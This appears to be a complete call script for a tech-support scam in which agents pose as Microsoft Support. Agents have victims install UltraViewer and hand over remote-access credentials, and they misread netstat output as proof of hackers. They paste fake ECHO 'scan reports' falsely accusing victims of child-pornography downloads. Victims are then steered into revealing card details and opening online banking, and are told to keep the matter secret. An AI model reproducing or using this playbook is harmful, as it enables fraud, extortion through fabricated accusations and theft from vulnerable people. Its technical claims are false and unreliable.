Welcome to Microsoft Support, (Agent Name), How can I Assist you?
(Address: 11 Time Square, New York, 10036, United States.)
May I know what were you doing on the computer when you got this alert?
So is it your personal computer or work computer?
If the customer says work computer then ask if he is trying to use at work place or at home.
Can you please tell me which brand’s device you’re using right now?
Alright, so do you see any error code on the screen? (Try to take the error code from the customer)
Alright sir/ ma’am Can
Can i place your call on hold for a moment?
Ok sir / ma’am I have checked everything for you and it seems like there is a breach on your network, which means its attempt of hacking taken place on your network and Also as its seems that the hacking has taken place within past 48 hrs, so has someone used your computer with in past 48 hrs except you?
So are you the only user of this computer?
Is your wifi password protected?
ok sir/mam as I can see here that the hackers are continuously trying to attack on your identity and devices so now what i am gonna do is i am going to guide you with some simple steps to install certain Microsoft temporary securities on your network and then we will check what all data was getting hacked and what is required to be done.
Guide to download Ultraviewer
Guidance to remove from safe mode: open run box Type ‘’msconfig’’ click on boot (second columns) if tick mark on safe mode then please click on that.
Press the windows key on your keyboard (a key with four squares or four flags on it) along with that press the key"R" and release both the keys at the same time.
You will see a pop box by the name of “Run” will open at the left bottom side of the screen.
Please type there “www.ultraviewer.net"
Ask the customer to type "www.ultraviewer.net"
If the customer asks - ' What is ultraviewer?' / ' Why should I download this? ' / ' I am not comfortable to do that. '
Rebuttal - Sir, it’s a Microsoft certified platform / application where in we will connect your devices and network with Microsoft secured network to check the issues. (OR)
It’s a third party software to connect you with Microsoft secured network and server so that we can detect the issues.
So are you on the website now?
Alright, do you see any green colored button that says download?
Please click on that button.
Steps to download UltraViewer-
- You will get some options to download UltraViewer on your device
Please click on Yes / Next / Next / Install / Finish
Alright sir/mam do you see any ID or password on the screen?
Please help me with that Id and password so that I can connect you to
Microsoft secured servers.
Alright so now we are successfully connected to Microsoft secured network.
Now we will go ahead and run some scans on your computer and network.
For that you have to press the windows key (four flags key) along with that press the key "R" again and release both the keys at the same time.
The run box will open again and please type there “CMD" and you will see some changes on your screen. So can you please tell me what do you see on the screen?
Alright sir so this is the command window. Now we will run some scans through we will be able to know what these hackers are trying to do with your network and devices.
Do you see any white cursor or any bar that's blinking there? There you have to type -
NETSTAT First Scan (the scan we will run in the first place and it will tell us what are the networks on which the hackers have already gained the access)
Once the scan will be done please let me know.
I believe at first you can see the active connections on your devices.
Now, there you can see 4 options after active connections,
Proto - Proto is your network provider, the network that you use on your devices.
Local Address - These are the IP addresses for your devices that belongs to you.
Foreign Address - These are the IP addresses of the hackers that we detect on your network at this moment.
State - Established means that those hackers are currently connected to your network.
NETSTAT -A - Second Scan (this scan is all about the devices that can be used by hackers to record your calls or to listen them)
State - If you see listening over there it means those hackers were able to listen to the conversations that you were having using your phone lines. Which means your phone lines are not secured.
Alright now I am gonna go ahead and check everything for you but first of all I want you to answer me a few questions but only in yes or no because as you know your phone lines are not secured yet so any information could be tempered.
Alright ....do you use any device in your home to use social media platform.
Do you do online shopping using your devices?
Do you play games online?
Do you pay your bills online?
Do you do online banking on your devices?
Alright thank you so much for the information. Now what I am going to do is I will connect you on Microsoft secured phone line in order to make this conversation secured.
Perfect, so now i am going to connect you with the secured line of Microsoft as i told you that your telephonic lines are not secured and it is a possibility that the hackers are listening to our conversation.
And then connect the customer to outbound
So now we are successfully connected to the Microsoft secured line.
And now we are going to run a final scan on your devices and network as this will be giving us the final results.
Third scan -
cd..
cd..
Dir/s
Once it start scanning ask customer to see what is the status of the route and after that paste this on the command window.
ECHO FINAL REPORT
ECHO MICROSOFT SECURITY SCAN STOPPED.
ECHO ILLEGAL VISIT ON PORN WEBSITE WWW.PORNHUB.NET (SOURCE CHINA)
ECHO CLAMPI VIRUS DETECTED.
ECHO CHILD PORNOGRAPHY DOWNLOADED.
ECHO FINANCIAL INFORMATION USED ON WWW.PORNHUB.NET.
ECHO DEBIT AND CREDIT CARDS ARE USED ON WWW.PORNHUB.NET.
ECHO ILLEGAL PURCHASES WITH CARDS USED STARTING AT 5, 3, 6, 4 ACCESS ON DARK WEB.
ECHO PHONE LINES AND NETWORKS ARE HACKED.
ECHO CONTACT BANK FROM MICROSOFT SECURE LINE AND ASK FOR 48 HOURS HIGH SECURITIES.
ECHO End of Report
In this modern world, hacking is a common issue. Many people face this problem and we get a lot of calls regarding this issue.US government formed a team to stop hacking but still hacking is a huge network. We try our level best to stop hacking.
Alright sir/mam i can see over here that an illegal visit was made using your identity to go on the website having the address www.pornhub.net at 4:40am so was it you who visited this website? (Cx says no) are you sure about it?
As i can see over here that it’s a paid porn subscription so it is mandatory to put in the financial information to log in there. So could it be any of you family member who might have your financial data?
alright sir/mam if it’s not you that does confirm that these are the hackers who has done this and hackers attack on your two things, first is your identity and second is your financial data. So that’s our recommendation if you can check your only two things on this protected computer which is protected under the Microsoft securities.
Now first check your email and if you find any email with no subject or which seems like fishy to you then please let us know about it?
(Cx check his or her email)
Now i can see over here that some credit and debit cards were used on that website, so can you please confirm that do you have any cards starting with the no
5..? (MasterCard)
4..? (Visa)
3..? (American express)
6..? (Discover)
(Write down the details which the cx tells you)
now I want you to check your online banking as well and if you see any transaction even of 1$ or few cents do let us know because your IP address has been compromised so just to be on safer side please go through your banking on this secured computer.(click the picture of the banking)
Alright sir/mam so you checked your account and you didn't find any suspicious transaction right?
ok but still according to us your data is under threat so that’s our recommendation if you check the same thing with your bank as well but make sure while you talking to your bank your on the secure line because as your phone lines are not secured so hackers may listen your conversation and if they get to know that you’re talking with your bank regarding this they will get access in account right away.
( as tech.. cx toll free no of the bank and bank name which will be at the back side of the cards )
Alright now let me go ahead and connect you with your bank but while I connect you with your bank I'll be disconnected from the secure line automatically because Microsoft is not allowed to hear to your personal conversation with the bank. Alright now I am gonna go ahead and connect you with your bank. And you can tell your bank to put high securities on your accounts for next 48 hours because it is an attempt of hacking which has taken place and you can tell them each and everything about the hacking and the conversation which you had with the Microsoft so that they can help you out.
And once you are done putting the securities on your account you can tell them to connect you back with the Microsoft so that you can put securities on your other accounts and on your computer as well.
Now I going to connect you with your bank and you will be listening IVR (automatic voice call) and you have to answer ivr accordingly to get connected with your bank.
[MICROSOFT]
ECHO FINAL REPORT
ECHO MICROSOFT SECURITY SCAN STOPPED.
ECHO ILLEGAL VISIT ON PORN WEBSITE WWW.PORNHUB.NET (SOURCE CHINA)
ECHO CLAMPI VIRUS DETECTED.
ECHO CHILD PORNOGRAPHY DOWNLOADED.
ECHO FINANCIAL INFORMATION USED ON WWW.PORNHUB.NET.
ECHO DEBIT AND CREDIT CARDS ARE USED ON WWW.PORNHUB.NET.
ECHO ILLEGAL PURCHASES WITH CARDS USED STARTING AT 5, 3, 6, 4 ACCESS ON DARK WEB.
ECHO PHONE LINES AND NETWORKS ARE HACKED.
ECHO CONTACT BANK FROM MICROSOFT SECURE LINE AND ASK FOR 48 HOURS HIGH SECURITIES.
ECHO End of Report
[sir/mam i can see over here that an illegal visit was made using your identity to go on the website having the address www.pornhub.net at 4:40am so was it you who visited this website? (Cx says no) are you sure about it?
As i can see over here that it’s a paid porn subscription so it is mandatory to put in the financial information to log in there. So could it be any of you family member who might have your financial data?
AND WE CAME TO KNOW THEY FROM THE SCAN THAT THEY DID USED ANY FINICAL DATA OF SOMEONE BUT WE DONT KNOW WHO'S IT IS]
[The Clampi virus is a man-in-the-browser Trojan that hides in your system, stealing login credentials and specifically targeting banking and financial information. First seen in the mid-2000s, this Trojan is often hidden in trusted websites. ... The Trojan specifically targets Microsoft operating systems.
SO MAYBE WITH THE HELP OF THIS VIRUS THEY GOT THE ID AND THE PASSWORD OF EVERY PLACE WHERE YOU LOGIN WHILE ACCESSING YOUR NETWORK]
Images of child pornography are not protected under First Amendment rights, and its illegal contraband under federal law. Section 2256 of Title 18, United States Code, defines child pornography as any visual depiction of sexually conduct involving a minor (someone under 18 years of age). Visual depictions include photographs, videos, digital or computer generated images indistinguishable from an actual minor, and images created, adapted, or modified, but appear to depict an identifiable, actual minor.
BUT RIGHT NOW WE ARE THE ONLY PERSON WHO KNOWS ABOUT IT SO I WILL SUGGEST AT THIS POINT OF TIME DO NOT TELL ANY ONE ABOUT THE CHILD PORNOGRAPHY IF ANY ONE ELSE CAME TO KNOW ABOUT IT. IT COULD LEAD YOU TO A LEGAL TROUBLE BECAUSE CHILD PORNOGRAPHY IS ILLEGAL IN USA AND CANADA.
SO UNLESS AND UNTIL I DO NOT GIVE THE COMPLETE INFORMATION TO THE FRAUD PROTECTION TEAM ABOUT THIS HACKING
CASE I WILL SUGGEST NOT TO DISCLOSE THIS INFORMATION TO ANY THIRD PERSON BECAUSE WE DONT KNOW WHO THE REAL
HACKER OR CRIMINAL IS. AS IT CAN BE ANYONE AROUND YOU OR FROM YOUR LOCAL BANK AS WELL,WHO MAY PROVIDE ALL INFORMATION TO THE REAL HACKER SO WE HAVE TO BE CONSCOIUS ON THIS.